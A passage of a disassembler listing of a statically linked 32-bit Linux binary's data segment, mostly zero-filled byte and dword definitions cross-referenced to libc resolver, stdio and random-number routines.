		db 0A1h	; ║
		db  33h	; 3
		db    7	;  
		db  41h	; A
		db 0A1h	; ║
		db  34h	; 4
		db  22h	; "
		db  41h	; A
		db 0A2h	; ╒
		db 0C0h	; ю
		db    3	;  
		db  41h	; A
		db 0A2h	; ╒
		db  50h	; P
		db  0Fh	;  
		db  41h	; A
		db 0A3h	; ё
		db 0A9h	; ╘
		db    3	;  
		db  41h	; A
		db 0A4h	; є
		db  28h	; (
		db    1	;  
		db  41h	; A
		db 0AAh	; ╙
		db  90h	; ░
		db    2	;  
		db  41h	; A
		db 0ABh	; ╚
		db  10h	;  
		db    3	;  
		db  41h	; A
		db 0ABh	; ╚
		db  10h	;  
		db    4	;  
		db  41h	; A
		db 0ACh	; ╛
		db  84h	; └
		db  0Fh	;  
		db  41h	; A
		db 0AEh	; ў
		db  5Eh	; ^
		db    2	;  
		db  41h	; A
		db 0C2h	; б
		db 0FEh	; Ч
		db 0FDh	; Щ
		db  41h	; A
		db 0C2h	; б
		db 0FEh	; Ч
		db 0FEh	; Ч
		db  41h	; A
		db 0C5h	; е
		db  82h	; ┌
		db    2	;  
		db  41h	; A
		db 0C6h	; ф
		db  97h	; ≈
		db    3	;  
		db  41h	; A
		db 0C6h	; ф
		db  97h	; ≈
		db    4	;  
		db  41h	; A
		db 0D1h	; я
		db  56h	; V
		db    2	;  
		db  41h	; A
		db 0D6h	; ж
		db  54h	; T
		db    3	;  
		db  41h	; A
		db 0D6h	; ж
		db  54h	; T
		db    4	;  
		db  41h	; A
		db 0D7h	; в
		db 0BFh	; ©
		db 0FEh	; Ч
		db  41h	; A
		db  20h	;  
		db    1	;  
		db  41h	; A
		db  41h	; A
		db  20h	;  
		db    1	;  
		db  46h	; F
		db  41h	; A
		db  2Ah	; *
		db 0ECh	; Л
		db    2	;  
		db  41h	; A
		db  44h	; D
		db  0Dh	;  
		db    1	;  
		db  42h	; B
		db  72h	; r
		db 0F8h	; Ь
		db    1	;  
		db  42h	; B
		db  72h	; r
		db 0F8h	; Ь
		db    2	;  
		db  42h	; B
		db  76h	; v
		db  8Ch	; ▄
		db    5	;  
		db  42h	; B
		db  77h	; w
		db 0C8h	; х
		db    1	;  
		db  42h	; B
		db  77h	; w
		db 0C9h	; и
		db 0F8h	; Ь
		db  42h	; B
		db  87h	; ┤
		db  80h	; ─
		db  44h	; D
		db  42h	; B
		db  92h	; ▓
		db    0	;  
		db    1	;  
		db  42h	; B
		db 0AAh	; ╙
		db  40h	; @
		db    1	;  
		db  42h	; B
		db 0AAh	; ╙
		db  40h	; @
		db  0Dh	;  
		db  42h	; B
		db 0B2h	; ╡
		db  98h	; ≤
		db  0Ah	;  
		db  42h	; B
		db 0BBh	; ╩
		db  85h	; ┘
		db  1Bh	;  
		db  42h	; B
		db 0C4h	; д
		db    0	;  
		db    1	;  
		db  42h	; B
		db 0C4h	; д
		db    0	;  
		db    9	;  
		db  42h	; B
		db  1Ch	;  
		db  8Ch	; ▄
		db  8Ah	; ┼
		db  42h	; B
		db  22h	; "
		db  39h	; 9
		db 0F1h	; Я
		db  42h	; B
		db  26h	; &
		db 0D9h	; ы
		db  1Fh	;  
		db  42h	; B
		db  26h	; &
		db 0D9h	; ы
		db  20h	;  
		db  42h	; B
		db  2Bh	; +
		db  89h	; ┴
		db  1Bh	;  
		db  42h	; B
		db  2Eh	; .
		db  36h	; 6
		db  23h	; #
		db  42h	; B
		db  2Eh	; .
		db  4Dh	; M
		db  42h	; B
		db  42h	; B
		db    7	;  
		db  0Fh	;  
		db  8Fh	; ▐
		db  42h	; B
		db    7	;  
		db  0Fh	;  
		db  90h	; ░
		db  42h	; B
		db  4Dh	; M
		db  18h	;  
		db  2Ah	; *
		db  42h	; B
		db  4Dh	; M
		db  1Ah	;  
		db    9	;  
		db  42h	; B
		db  4Eh	; N
		db  3Ch	; <
		db    2	;  
		db  43h	; C
		db  61h	; a
		db 0D4h	; т
		db    2	;  
		db  50h	; P
		db  51h	; Q
		db 0E0h	; Ю
		db  82h	; ┌
		db  50h	; P
		db  51h	; Q
		db    6	;  
		db  11h	;  
		db  50h	; P
		db  51h	; Q
		db    7	;  
		db    3	;  
		db  50h	; P
		db  5Bh	; [
		db 0C0h	; ю
		db  37h	; 7
		db  50h	; P
		db  5Bh	; [
		db 0C2h	; б
		db  73h	; s
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_80784F4	dd 0			; DATA XREF: setenv+13Cr setenv+145r ...
dword_80784F8	dd 0			; DATA XREF: init_services+E0Fw
					; .text:0804BEB6r ...
aEtcHosts	db '/etc/hosts',0       ; DATA XREF: _setprotoent+11o
					; _gethtent+13o
		align 4
dword_8078508	dd 0			; DATA XREF: _setprotoent+3r
					; _setprotoent+1Bw ...
dword_807850C	dd 0			; DATA XREF: _setprotoent+32w
					; sub_804C574+Cr
dword_8078510	dd 0			; DATA XREF: init_services+45Aw
					; init_services+4A7w ...
dword_8078514	dd 0			; DATA XREF: init_services+59Ew
					; init_services+5EBw ...
dword_8078518	dd 0			; DATA XREF: init_services+6E2w
					; init_services+72Fw ...
dword_807851C	dd 0			; DATA XREF: init_services+826w
					; init_services+873w ...
dword_8078520	dd 0			; DATA XREF: sub_804A4F4+Br
					; sub_804A4F4+78r ...
dword_8078524	dd 0FFFFFFFFh		; DATA XREF: sub_804A5CC+Cr
					; sub_804A5CC+23r ...
dword_8078528	dd 1			; DATA XREF: sub_804C9E4+60r
					; sub_804C9E4+8Ew
dword_807852C	dd 0			; DATA XREF: sub_804C9E4+Fr
					; sub_804C9E4+18o ...
dword_8078530	dd 0FFFFFFFFh		; DATA XREF: res_send+1C2r
					; res_send+1D8r ...
dword_8078534	dd 0			; DATA XREF: res_send+4EFw
					; res_send+517r ...
dword_8078538	dd 0			; DATA XREF: res_send+1CBr
					; res_send+270w ...
dword_807853C	dd 0			; DATA XREF: .text:0804E6DEw
					; res_send+10Cr ...
dword_8078540	dd 0			; DATA XREF: .text:0804E6EEw
					; res_send+9D2r ...
dword_8078544	dd 0			; DATA XREF: res_init+34r res_init+3Dw ...
dword_8078548	dd 0			; DATA XREF: res_init+47r res_init+50w ...
dword_807854C	dd 0			; DATA XREF: init_services+1FCr
					; init_services+AC6r ...
dword_8078550	dd 0			; DATA XREF: res_init+9Ew
					; res_init+663w ...
dword_8078554	dd 0			; DATA XREF: res_init+8Cw
					; res_init+43Aw ...
dword_8078558	dd 0			; DATA XREF: res_init+82w
					; res_init+434w ...
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
word_8078584	dw 0			; DATA XREF: res_init+6Dr res_init+7Cw ...
		align 4
dword_8078588	dd 0			; DATA XREF: res_init+F2w
					; res_init+322w ...
dword_807858C	dd 0			; DATA XREF: res_init+FCo
					; res_init+32Co ...
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
unk_80785A0	db    0	;		; DATA XREF: res_init+110o
					; res_init+33Co
		db    0	;  
		db    0	;  
		db    0	;  
byte_80785A4	db 0			; DATA XREF: res_init+DDo res_init+EDo ...
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_80786A4	dd 0			; DATA XREF: res_init+B6w
					; res_send+8FAr ...
byte_80786A8	db 0			; DATA XREF: sub_804B800+635r
					; sub_804CBE4+33r ...
		align 4
unk_80786AC	db    0	;		; DATA XREF: sub_804CBE4+5Fr
					; sub_804CBE4+CBr ...
		db    0	;  
		db    0	;  
		db    0	;  
unk_80786B0	db    0	;		; DATA XREF: sub_804CBE4+59r
					; sub_804CBE4+C5r ...
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
unk_80786FC	db  88h	; ┬		; DATA XREF: _IO_fclose+58o
		db  20h	;  
		db 0ADh	; ґ
		db 0FBh	; Ш
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Ch	; ,
		db  90h	; ░
		db    7	;  
		db    8	;  
unk_8078750	db  84h	; └		; DATA XREF: res_send+4Co res_send+56o ...
		db  20h	;  
		db 0ADh	; ґ
		db 0FBh	; Ш
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FCh	; Э
		db  86h	; ├
		db    7	;  
		db    8	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Ch	; ,
		db  90h	; ░
		db    7	;  
		db    8	;  
unk_80787A4	db  86h	; ├		; DATA XREF: init_services+2B2o
					; init_services+2D8o ...
		db  20h	;  
		db 0ADh	; ґ
		db 0FBh	; Ш
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  50h	; P
		db  87h	; ┤
		db    7	;  
		db    8	;  
		db    2	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Ch	; ,
		db  90h	; ░
		db    7	;  
		db    8	;  
off_80787F8	dd offset unk_80787A4	; DATA XREF: _IO_un_link+Bo
					; _IO_un_link+10r ...
unk_80787FC	db    0	;		; DATA XREF: _IO_vsprintf+1Ao
					; vsnprintf+1Ao
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A8h	; ╗
		db  31h	; 1
		db    5	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  58h	; X
		db  2Fh	; /
		db    5	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  78h	; x
		db  30h	; 0
		db    5	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Ch	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		db  31h	; 1
		db    5	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Ch	; ,
		db  1Ch	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Ch	; L
		db  1Dh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E4h	; Д
		db  30h	; 0
		db    5	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C8h	; х
		db  1Eh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  44h	; D
		db  1Eh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B4h	; Є
		db  1Fh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ECh	; Л
		db  1Eh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B8h	; ╦
		db  24h	; $
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C4h	; д
		db  24h	; $
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A0h	; ═
		db  24h	; $
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B4h	; Є
		db  1Fh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ACh	; ╛
		db  24h	; $
		db    6	;  
		db    8	;  
dword_807888C	dd 0			; DATA XREF: _IO_vfprintf+2FF4r
					; _IO_vfprintf+300Er ...
dword_8078890	dd 806A9E4h		; DATA XREF: _IO_vfprintf+60Br
					; _IO_vfprintf+64Cr ...
dword_8078894	dd 0FFFFFFFFh		; DATA XREF: sub_8054E54+7r
					; sub_8054E54+12w ...
dword_8078898	dd 0			; DATA XREF: sub_8054E54+2Aw
					; sub_8054EC8+4Fr ...
dword_807889C	dd 8067F8Ch		; DATA XREF: sub_8054E54+34w
					; sub_8054EC8+57r ...
dword_80788A0	dd 8			; DATA XREF: sub_8054E54+3Ew
					; sub_8054EC8+6Dr ...
dword_80788A4	dd 0FFh			; DATA XREF: sub_8054E54+48w
					; sub_8054EC8+20r ...
dword_80788A8	dd 0			; DATA XREF: .text:08055DA3r
		db    7	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Fh	; ?
		db    0	;  
		db    0	;  
		db    0	;  
dword_80788BC	dd 0			; DATA XREF: .text:08055DAFr
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  25h	; %
		db 0F6h	; Ж
		db  38h	; 8
		db 0CDh	; м
		db 0ECh	; Л
		db  91h	; ▒
		db  63h	; c
		db 0FDh	; Щ
		db  7Ah	; z
		db  64h	; d
		db    4	;  
		db  87h	; ┤
		db 0C6h	; ф
		db  5Fh	; _
		db 0DDh	; щ
		db  52h	; R
		db  5Ch	; \
		db 0A0h	; ═
		db    7	;  
		db  8Eh	; ▌
		db  11h	;  
		db  32h	; 2
		db  0Eh	;  
		db 0E3h	; Ц
		db  0Ah	;  
		db 0F7h	; В
		db  68h	; h
		db  75h	; u
		db  9Bh	; ⌡
		db  74h	; t
		db  33h	; 3
		db 0A1h	; ║
		db 0FFh	;  
		db  19h	;  
		db  20h	;  
		db  8Ch	; ▄
		db 0B8h	; ╦
		db    7	;  
		db  2Dh	; -
		db  1Bh	;  
		db 0A0h	; ═
		db 0D3h	; с
		db  47h	; G
		db  1Eh	;  
		db  85h	; ┘
		db  51h	; Q
		db 0CEh	; н
		db  99h	; ≥
		db 0A3h	; ё
		db  49h	; I
		db  54h	; T
		db  6Bh	; k
		db 0D7h	; в
		db 0F6h	; Ж
		db 0E0h	; Ю
		db  87h	; ┤
		db 0D3h	; с
		db  54h	; T
		db    4	;  
		db  27h	; '
		db 0E6h	; Ф
		db  4Bh	; K
		db  83h	; ┐
		db 0BBh	; ╩
		db 0D2h	; р
		db  7Eh	; ~
		db  61h	; a
		db 0A8h	; ╗
		db    8	;  
		db  4Ch	; L
		db 0DBh	; ш
		db 0BBh	; ╩
		db  7Dh	; }
		db  4Ah	; J
		db 0FDh	; Щ
		db 0B0h	; ╟
		db 0A3h	; ё
		db  30h	; 0
		db  8Ah	; ┼
		db 0A2h	; ╒
		db    6	;  
		db 0CBh	; к
		db    0	;  
		db  4Ch	; L
		db  29h	; )
		db  29h	; )
		db 0CAh	; й
		db 0DBh	; ш
		db  2Ah	; *
		db 0B2h	; ╡
		db 0B8h	; ╦
		db 0F3h	; С
		db  38h	; 8
		db  7Dh	; }
		db 0DBh	; ш
		db  9Ah	;  
		db  1Fh	;  
		db  59h	; Y
		db 0F1h	; Я
		db  58h	; X
		db  18h	;  
		db  7Eh	; ~
		db 0E8h	; Х
		db 0A4h	; є
		db  78h	; x
		db  33h	; 3
		db  41h	; A
		db 0C7h	; г
		db  7Bh	; {
		db 0D3h	; с
		db 0BAh	; ╨
		db 0F4h	; Т
		db  22h	; "
		db 0EDh	; М
		db  98h	; ≤
		db  15h	;  
		db  47h	; G
		db  7Fh	; 
		db 0EFh	; О
		db  54h	; T
		db  29h	; )
		db  88h	; ┬
		db  8Fh	; ▐
		db  79h	; y
dword_8078950	dd 80788E0h		; DATA XREF: srand+1E7w
					; .text:08055E0Cw ...
dword_8078954	dd 80788D4h		; DATA XREF: srand+1F1w initstate+32r	...
rand_state_ptr	dd 80788D4h		; DATA XREF: srand+9r srand+2Er ...
rand_type	dd 3			; DATA XREF: srand+10r	initstate+15r ...
rand_deg	dd 1Fh			; DATA XREF: srand+22r	srand+34r ...
rand_sep	dd 3			; DATA XREF: srand+1D4r initstate+78w	...
rand_end_ptr	dd 8078950h		; DATA XREF: initstate+131w
					; .text:08055E24w ...
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
